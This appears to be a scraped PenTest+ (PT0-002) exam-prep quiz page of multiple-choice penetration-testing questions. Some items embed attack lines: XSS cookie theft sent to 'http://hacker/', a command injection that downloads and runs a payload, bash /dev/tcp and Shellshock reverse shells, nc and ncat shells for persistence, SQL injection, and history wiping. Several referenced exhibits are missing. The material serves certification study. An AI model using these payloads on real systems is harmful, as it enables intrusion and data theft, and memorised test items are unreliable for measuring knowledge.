Quiz
pto-002
Create a free account to finish this quiz
Save your progress and see your final score.
Already have an account? Sign in
Questions in this quiz (137)
1A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?
- AEnsure the client has signed the SOW
- BVerify the client has granted network access to the hot site
- CDetermine if the failover environment relies on resources not owned by the client.
- DEstablish communication and escalation procedures with the client.
2Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
- Adevices produce more heat and consume more power.
- Bdevices are obsolete and are no longer available for replacement.
- Cprotocols are more difficult to understand.
- Ddevices may cause physical world effects.
3Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
- ANDA
- BMSA
- CSOW
- DMOU
4A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?
- APLCs will not act upon commands injected over the network
- BSupervisors and controllers are on a separate virtual network by default.
- CControllers will not validate the origin of commands.
- DSupervisory systems will detect a malicious injection of code/commands.
5A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday.
Which of the following should the security company have acquired BEFORE the start of the assessment?- AA signed statement of work.
- BThe correct user accounts and associated passwords.
- CThe expected time frame of the assessment.
- DThe proper emergency contacts for the client.
6A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions.
Which of the following commands would help the tester START this process?- Acertutil –urlcache –split –f http://192.168.2.124/windows-binaries/ accesschk64.exe
- Bpowershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php','systeminfo.txt')
- Cschtasks /query /fo LIST /v | find /I "Next Run Time:"
- Dwget http://192.168.2.124/windows-binaries/accesschk64.exe –O accesschk64.exe
7Which of the following protocols or technologies would provide in-transit confidentiality protection for emailing the final security assessment report?
- AS/MIME
- BFTPS
- CDNSSEC
- DAS2
8A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:
• The following request was intercepted going to the network device:
GET /login HTTP/1.1
Host: 10.50.100.16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5 Connection: keep-alive Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk
• Network management interfaces are available on the production network.
• An Nmap scan returned the following
Which of the following would be BEST to add to the recommendations section of the final report?
(Choose two.)
- AEnforce enhanced password complexity requirements.
- BDisable or upgrade SSH daemon.
- CDisable HTTP/301 redirect configuration.
- DCreate an out-of-band network for management.
- EImplement a better method for authentication.
- FEliminate network management and control interfaces.
9A penetration tester ran a ping –A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?
- AWindows
- BApple
- CLinux
- DAndroid
10A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?
- ARFID cloning
- BRFID tagging
- CMeta tagging
- DTag nesting
11A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following:
* Connected to 10.2.11.144 (::1) port 80 (#0)
> GET /readmine.html HTTP/1.1
> Host: 10.2.11.144
> User-Agent: curl/7.67.0
> Accept: */*
>*
Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Date: Tue, 02 Feb 2021 21:46:47 GMT
< Server: Apache/2.4.41 (Debian)
< Content-Length: 317
< Content-Type: text/html; charset=iso-8859-1
<<
!DOCTYPE html>
<html lang="en">
<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>WordPress › ReadMe</title>
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" />
</head> Which of the following tools would be BEST for the penetration tester to use to explore this site further?- ABurp Suite
- BDirBuster
- CWPScan
- DOWASP ZAP
12A penetration tester wrote the following script to be used in one engagement:
Which of the following actions will this script perform?
- ALook for open ports.
- BListen for a reverse shell.
- CAttempt to flood open ports.
- DCreate an encrypted tunnel.
13A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?
- AImplement a recurring cybersecurity awareness education program for all users.
- BImplement multifactor authentication on all corporate applications.
- CRestrict employees from web navigation by defining a list of unapproved sites in the corporate proxy.
- DImplement an email security gateway to block spam and malware from email communications.
14A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?
- ANmap
- Btcpdump
- CScapy
- Dhping3
15A penetration tester is reviewing the following SOW prior to engaging with a client:
"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner." Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)- AUtilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
- BUtilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
- CFailing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
- DSeeking help with the engagement in underground hacker forums by sharing the client's public IP address
- EUsing a software-based erase tool to wipe the client's findings from the penetration tester's laptop
- FRetaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements
16A company recruited a penetration tester to configure wireless IDS over the network. Which of the following tools would BEST test the effectiveness of the wireless IDS solutions?
- AAircrack-ng
- BWireshark
- CWifite
- DKismet
17A penetration tester gains access to a system and establishes persistence, and then runs the following commands: cat /dev/null > temp touch –r .bash_history temp mv temp .bash_history Which of the following actions is the tester MOST likely performing?
- ARedirecting Bash history to /dev/null
- BMaking a copy of the user's Bash history for further enumeration
- CCovering tracks by clearing the Bash history
- DMaking decoy files on the system to confuse incident responders
18Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)
- ABuffer overflows
- BCross-site scripting
- CRace-condition attacks
- Dero-day attacks
- EInjection flaws
- FRansomware attacks
19Given the following code:
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)- AWeb-application firewall
- BParameterized queries
- COutput encoding
- DSession tokens
- EInput validation
- FBase64 encoding
20A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?
- AReach out to the primary point of contact
- BTry to take down the attackers
- CCall law enforcement officials immediately
- DCollect the proper evidence and add to the final report
21A penetration-testing team is conducting a physical penetration test to gain entry to a building.
Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?- AAs backup in case the original documents are lost
- BTo guide them through the building entrances
- CTo validate the billing information with the client
- DAs proof in case they are discovered
22A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: exploit = "POST " exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} – c${IFS}'cd${IFS}/
tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${I FS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run postengagement?- Agrep –v apache ~/.bash_history > ~/.bash_history
- Brm –rf /tmp/apache
- Cchmod 600 /tmp/apache
- Dtaskkill /IM "apache" /F
23Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)
- AThe libraries may be vulnerable
- BThe provenance of code is unknown
- CThe libraries may be unsupported
- DThe libraries may break the application
- EThe libraries' code bases could be read by anyone
- FThe licensing of software is ambiguous
24A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)
- AWireshark
- BNessus
- CRetina
- DBurp Suite
- EShodan
- FNikto
25A consultant is reviewing the following output after reports of intermittent connectivity issues:
? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]
IT Exam Dumps – Learn Anything | VCEup.com
? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]
? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]
? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]
? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]
? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet] ? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?- AA device on the network has an IP address in the wrong subnet.
- BA multicast session was initiated using the wrong multicast group.
- CAn ARP flooding attack is using the broadcast address to perform DDoS.
- DA device on the network has poisoned the ARP cache.
26Which of the following BEST describe the OWASP Top 10? (Choose two.)
- AThe most critical risks of web applications
- BA list of all the risks of web applications
- CThe risks defined in order of importance
- DA web-application security standard
- EA risk-governance and compliance framework
- FA checklist of Apache vulnerabilities
27A penetration tester conducted a discovery scan that generated the following:
Which of the following commands generated the results above and will transform them into a list of active hosts for further analysis?
- Anmap –oG list.txt 192.168.0.1-254 , sort
- Bnmap –sn 192.168.0.1-254 , grep "Nmap scan" | awk '{print S5}'
- Cnmap –-open 192.168.0.1-254, uniq
- Dnmap –o 192.168.0.1-254, cut –f 2
28A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?
- ASend deauthentication frames to the stations.
- BPerform jamming on all 2.4GHz and 5GHz channels.
- CSet the malicious AP to broadcast within dynamic frequency selection channels.
- DModify the malicious AP configuration to not use a pre-shared key.
29A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?
- Anmap –f –sV –p80 192.168.1.20
- Bnmap –sS –sL –p80 192.168.1.20
- Cnmap –A –T4 –p80 192.168.1.20
- Dnmap –O –v –p80 192.168.1.20
30Which of the following expressions in Python increase a variable val by one (Choose two.)
- Aval++
- B+val
- Cval=(val+1)
- D++val
- Eval=val++
- Fval+=1
31Given the following output:
User-agent:*
Disallow: /author/
IT Exam Dumps – Learn Anything | VCEup.com
Disallow: /xmlrpc.php
Disallow: /wp-admin
Disallow: /page/
During which of the following activities was this output MOST likely obtained?- AWebsite scraping
- BWebsite cloning
- CDomain enumeration
- DURL enumeration
32Appending string values onto another string is called:
- Acompilation
- Bconnection
- Cconcatenation
- Dconjunction
33A penetration tester is testing input validation on a search form that was discovered on a website.
Which of the following characters is the BEST option to test the website for vulnerabilities?- AComma
- BDouble dash
- CSingle quote
- DSemicolon
34A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?
- AThe penetration tester was testing the wrong assets
- BThe planning process failed to ensure all teams were notified
- CThe client was not ready for the assessment to start
- DThe penetration tester had incorrect contact information
35A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)
- AOpen-source research
- BA ping sweep
- CTraffic sniffing
- DPort knocking
- EA vulnerability scan
- FAn Nmap scan
36A penetration tester obtained the following results after scanning a web server using the dirb utility:
...
GENERATED WORDS: 4612
---- Scanning URL: http://10.2.10.13/ ----
+ http://10.2.10.13/about (CODE:200|SIZE:1520)
+ http://10.2.10.13/home.html (CODE:200|SIZE:214)
+ http://10.2.10.13/index.html (CODE:200|SIZE:214)
+ http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?- Aindex.html
- Babout
- Cinfo
- Dhome.html
37A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?
- ACreate a one-shot systemd service to establish a reverse shell.
- BObtain /etc/shadow and brute force the root password.
- CRun the nc -e /bin/sh <...> command.
- DMove laterally to create a user account on LDAP
38A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?
- AManually check the version number of the VoIP service against the CVE release
- BTest with proof-of-concept code from an exploit database
- CReview SIP traffic from an on-path position to look for indicators of compromise
- DUtilize an nmap –sV scan against the service
39A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
- Anmap 192.168.1.1-5 –PU22-25,80
- Bnmap 192.168.1.1-5 –PA22-25,80
- Cnmap 192.168.1.1-5 –PS22-25,80
- Dnmap 192.168.1.1-5 –Ss22-25,80
40A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
- AImmunity Debugger
- BOllyDbg
- CGDB
- DDrozer
41A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active.
Which of the following commands should be used to accomplish the goal?- AVRFY and EXPN
- BVRFY and TURN
- CEXPN and TURN
- DRCPT TO and VRFY
42Which of the following tools provides Python classes for interacting with network protocols?
- AResponder
- BImpacket
- CEmpire
- DPowerSploit
43A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?
- AAlternate data streams
- BPowerShell modules
- CMP4 steganography
- DPsExec
44A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account.
The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?- AEnforce mandatory employee vacations
- BImplement multifactor authentication
- CInstall video surveillance equipment in the office
- DEncrypt passwords for bank account information
45A penetration tester wants to scan a target network without being detected by the client's IDS.
Which of the following scans is MOST likely to avoid detection?- Anmap –p0 –T0 –sS 192.168.1.10
- Bnmap –sA –sV --host-timeout 60 192.168.1.10
- Cnmap –f --badsum 192.168.1.10
- Dnmap –A –n 192.168.1.10
46Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
A. Analyze the malware to see what it does.
B. Collect the proper evidence and then remove the malware.- ACollect the proper evidence and then remove the malware.
- BDo a root-cause analysis to find out how the malware got in.
- CRemove the malware immediately.
- DStop the assessment and inform the emergency contact.
- EAnalyze the malware to see what it does.
47A penetration tester runs the following command on a system: find / -user root –perm -4000 –print 2>/dev/null Which of the following is the tester trying to accomplish?
- ASet the SGID on all files in the / directory
- BFind the /root directory on the system
- CFind files with the SUID bit set
- DFind files that were created during exploitation and move them to /dev/null
48A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- AHydra and crunch
- BNetcat and cURL
- CBurp Suite and DIRB
- DNmap and OWASP ZAP
49Which of the following would MOST likely be included in the final report of a static applicationsecurity test that was written with a team of application developers as the intended audience?
- AExecutive summary of the penetration-testing methods used
- BBill of materials including supplies, subcontracts, and costs incurred during assessment
- CQuantitative impact assessments given a successful software compromise
- DCode context for instances of unsafe type-casting operations
50A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:
Have a full TCP connection
Send a "hello" payload
Walt for a response
Send a string of characters longer than 16 bytes
Which of the following approaches would BEST support the objective?- ARun nmap –Pn –sV –script vuln <IP address>.
- BEmploy an OpenVAS simple scan against the TCP port of the host.
- CCreate a script in the Lua language and use it with NSE.
- DPerform a credentialed scan with Nessus.
51A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
- ADirect-to-origin
- BCross-site scripting
- CMalware injection
- DCredential harvesting
52A penetration tester needs to perform a test on a finance system that is PCI DSS v3.2.1 compliant.
Which of the following is the MINIMUM frequency to complete the scan of the system?- AWeekly
- BMonthly
- CQuarterly
- DAnnually
53A company becomes concerned when the security alarms are triggered during a penetration test.
Which of the following should the company do NEXT?- AHalt the penetration test.
- BContact law enforcement.
- CDeconflict with the penetration tester.
- DAssume the alert is from the penetration test.
54A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?
- ARun nmap with the –o, -p22, and –sC options set against the target
- BRun nmap with the –sV and –p22 options set against the target
- CRun nmap with the --script vulners option set against the target
- DRun nmap with the –sA option set against the target
55A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?
- Aiam_enum_permissions
- Biam_privesc_scan
- Ciam_backdoor_assume_role
- Diam_bruteforce_permissions
56A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
- AAdd a dependency checker into the tool chain.
- BPerform routine static and dynamic analysis of committed code.
- CValidate API security settings before deployment.
- DPerform fuzz testing of compiled binaries.
57A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?
- ACross-site request forgery
- BServer-side request forgery
- CRemote file inclusion
- DLocal file inclusion
58When preparing for an engagement with an enterprise organization, which of the following is one of the MOST important items to develop fully prior to beginning the penetration testing activities?
- AClarify the statement of work.
- BObtain an asset inventory from the client.
- CInterview all stakeholders.
- DIdentify all third parties involved.
59A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files.
During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.
Which of the following actions should the tester take?- APerform forensic analysis to isolate the means of compromise and determine attribution.
- BIncorporate the newly identified method of compromise into the red team's approach.
- CCreate a detailed document of findings before continuing with the assessment.
- DHalt the assessment and follow the reporting procedures as outlined in the contract.
60A penetration tester writes the following script:
Which of the following objectives is the tester attempting to achieve?- ADetermine active hosts on the network.
- BSet the TTL of ping packets for stealth.
- CFill the ARP table of the networked devices.
- DScan the system on the most used ports.
61Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?
- AWhether the cloud service provider allows the penetration tester to test the environment
- BWhether the specific cloud services are being used by the application
- CThe geographical location where the cloud services are running
- DWhether the country where the cloud service is based has any impeding laws
62A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial dat a. Which of the following should the tester do with this information to make this a successful exploit?
- APerform XSS.
- BConduct a watering-hole attack.
- CUse BeEF.
- DUse browser autopwn.
63A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)
- AIP addresses and subdomains
- BZone transfers
- CDNS forward and reverse lookups
- DInternet search engines
- EExternally facing open ports
- FShodan results
64A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?
- AForensically acquire the backdoor Trojan and perform attribution
- BUtilize the backdoor in support of the engagement
- CContinue the engagement and include the backdoor finding in the final report
- DInform the customer immediately about the backdoor
65Which of the following are the MOST important items to include in the final report for a penetration test? (Choose two.)
- AThe CVSS score of the finding
- BThe network location of the vulnerable device
- CThe vulnerability identifier
- DThe client acceptance form
- EThe name of the person who found the flaw
- FThe tool used to find the issue
66A penetration tester performs the following command: curl –I –http2 https://www.comptia.org Which of the following snippets of output will the tester MOST likely receive?
- AOption A
- BOption B
- COption C
- DOption D
67A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?
- AJohn the Ripper
- BHydra
- CMimikatz
- DCain and Abel
68A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?
- ARoot user
- BLocal administrator
- CService
- DNetwork administrator
69User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?
- AMD5
- Bbcrypt
- CSHA-1
- DPBKDF2
70A penetration tester recently performed a social-engineering attack in which the tester found an employee of the target company at a local coffee shop and over time built a relationship with the employee. On the employee's birthday, the tester gave the employee an external hard drive as a gift.
Which of the following social-engineering attacks was the tester utilizing?- APhishing
- BTailgating
- CBaiting
- DShoulder surfing
71A penetration tester runs a scan against a server and obtains the following output:
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-12-20 09:23AM 331 index.aspx
| ftp-syst:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2012 Std
3389/tcp open ssl/ms-wbt-server
| rdp-ntlm-info:
| Target Name: WEB3
| NetBIOS_Computer_Name: WEB3
| Product_Version: 6.3.9600
IT Exam Dumps – Learn Anything | VCEup.com
|_ System_Time: 2021-01-15T11:32:06+00:00
8443/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
Which of the following command sequences should the penetration tester try NEXT?- Asmbclient \\\\WEB3\\IPC$ -I 192.168.53.23 –U guest
- Bncrack –u Administrator –P 15worst_passwords.txt –p rdp 192.168.53.23
- Ccurl –X TRACE https://192.168.53.23:8443/index.aspx
- Dnmap –-script vuln –sV 192.168.53.23
- Eftp 192.168.53.23
72In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
- ATest for RFC-defined protocol conformance.
- BAttempt to brute force authentication to the service.
- CPerform a reverse DNS query and match to the service banner.
- DCheck for an open relay configuration.
73A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important dat a. Which of the following was captured by the testing team?
- AMultiple handshakes
- BIP addresses
- CEncrypted file transfers
- DUser hashes sent over SMB
74Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:
- Awill reveal vulnerabilities in the Modbus protocol.
- Bmay cause unintended failures in control systems.
- Cmay reduce the true positive rate of findings.
- Dwill create a denial-of-service condition on the IP networks.
75An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NEXT to determine if any vulnerabilities with associated exploits exist on the open ports?
- AOpenVAS
- BDrozer
- CBurp Suite
- DOWASP ZAP
76A penetration tester would like to obtain FTP credentials by deploying a workstation as an on-path attack between the target and the server that has the FTP protocol. Which of the following methods would be the BEST to accomplish this objective?
- AWait for the next login and perform a downgrade attack on the server.
- BCapture traffic using Wireshark.
- CPerform a brute-force attack over the server.
- DUse an FTP exploit against the server.
77Penetration-testing activities have concluded, and the initial findings have been reviewed with the client. Which of the following best describes the NEXT step in the engagement?
- AAcceptance by the client and sign-off on the final report
- BScheduling of follow-up actions and retesting
- CAttestation of findings and delivery of the report
- DReview of the lessons learned during the engagement
78A penetration tester discovered a vulnerability that provides the ability to upload to a path via directory traversal. Some of the files that were discovered through this vulnerability are:
Which of the following is the BEST method to help an attacker gain internal access to the affected machine?
- AEdit the discovered file with one line of code for remote callback
- BDownload .pl files and look for usernames and passwords
- CEdit the smb.conf file and upload it to the server
- DDownload the smb.conf file and look at configurations
79A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?
- ASocat
- Btcpdump
- CScapy
- Ddig
80A penetration tester ran the following command on a staging server: python –m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?
- Anc 10.10.51.50 9891 < exploit
- Bpowershell –exec bypass –f \\10.10.51.50\9891
- Cbash –i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit
- Dwget 10.10.51.50:9891/exploit
81When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?
- A<#
- B<$
- C##
- D#$
- E#!
82In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name- serial_number>. Which of the following would be the best action for the tester to take NEXT with this information?
- ACreate a custom password dictionary as preparation for password spray testing.
- BRecommend using a password manage/vault instead of text files to store passwords securely.
- CRecommend configuring password complexity rules in all the systems and applications.
- DDocument the unprotected file repository as a finding in the penetration-testing report.
83Which of the following is the MOST effective person to validate results from a penetration test?
- AThird party
- BTeam leader
- CChief Information Officer
- DClient
84A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:
Pre-engagement interaction (scoping and ROE)
Intelligence gathering (reconnaissance)
Threat modeling
Vulnerability analysis
Exploitation and post exploitation
Reporting
Which of the following methodologies does the client use?- AOWASP Web Security Testing Guide
- BPTES technical guidelines
- CNIST SP 800-115
- DOSSTMM
85A penetration tester ran an Nmap scan on an Internet-facing network device with the –F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap –O –A –sS –p100.100.100.50 Nmap returned that all 65,535 ports were filtered. Which of the following MOST likely occurred on the second scan?
- AA firewall or IPS blocked the scan.
- BThe penetration tester used unsupported flags.
- CThe edge network device was disconnected.
- DThe scan returned ICMP echo replies.
86A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?
- AROE
- BSLA
- CMSA
- DNDA
87A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?
- Anmap –vv sUV –p 53, 123-159 10.10.1.20/24 –oA udpscan
- Bnmap –vv sUV –p 53,123,161-162 10.10.1.20/24 –oA udpscan
- Cnmap –vv sUV –p 53,137-139,161-162 10.10.1.20/24 –oA udpscan
- Dnmap –vv sUV –p 53, 122-123, 160-161 10.10.1.20/24 –oA udpscan
88A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?
- ASmurf
- BPing flood
- CFraggle
- DPing of death
89Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?
- AA quick description of the vulnerability and a high-level control to fix it
- BInformation regarding the business impact if compromised
- CThe executive summary and information regarding the testing company
- DThe rules of engagement from the assessment
90A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {"User-Agent": "() { ignored;};/bin/bash –i>& /dev/
tcp/127.0.0.1/9090 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?- Aexploits = {"User-Agent": "() { ignored;};/bin/bash –i id;whoami", "Accept":
"text/html,application/xhtml+xml,application/xml"} - Bexploits = {"User-Agent": "() { ignored;};/bin/bash –i>& find / -perm -4000", "Accept":
"text/html,application/xhtml+xml,application/xml"} - Cexploits = {"User-Agent": "() { ignored;};/bin/sh –i ps –ef" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"} - Dexploits = {"User-Agent": "() { ignored;};/bin/bash –i>& /dev/tcp/10.10.1.1/80" 0>&1", "Accept":
"text/html,application/xhtml+xml,application/xml"}
- Aexploits = {"User-Agent": "() { ignored;};/bin/bash –i id;whoami", "Accept":
91Which of the following provides a matrix of common tactics and techniques used by attackers along with recommended mitigations?
- ANIST SP 800-53
- BOWASP Top 10
- CMITRE ATT&CK framework
- DPTES technical guidelines
92Which of the following should a penetration tester attack to gain control of the state in the HTTPprotocol after the user is logged in?
- AHTTPS communication
- BPublic and private keys
- CPassword encryption
- DSessions and cookies
93A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?
- AOpenVAS
- BNikto
- CSQLmap
- DNessus
94A penetration tester was able to gain access successfully to a Windows workstation on a mobile client's laptop. Which of the following can be used to ensure the tester is able to maintain access to the system?
- Aschtasks /create /sc /ONSTART /tr C:\Temp\WindowsUpdate.exe
- Bwmic startup get caption,command
- Ccrontab –l; echo "@reboot sleep 200 && ncat –lvp 4242 –e /bin/bash") | crontab 2>/dev/null
- Dsudo useradd –ou 0 –g 0 user
95A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?
- A"cisco-ios" "admin+1234"
- B"cisco-ios" "no-password"
- Ccisco-ios" "default-passwords"
- D"cisco-ios" "last-modified"
96A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?- A<script>var adr= '../evil.php?test=' + escape(document.cookie);</script>
- B../../../../../../../../../../etc/passwd
- C/var/www/html/index.php;whoami
- D1 UNION SELECT 1, DATABASE(),3--
97A penetration tester conducted a vulnerability scan against a client's critical servers and found the following:
Which of the following would be a recommendation for remediation?
- ADeploy a user training program
- BImplement a patch management plan
- CUtilize the secure software development life cycle
- DConfigure access controls on each of the servers
98A company that developers embedded software for the automobile industry has hired a penetrationtesting team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a
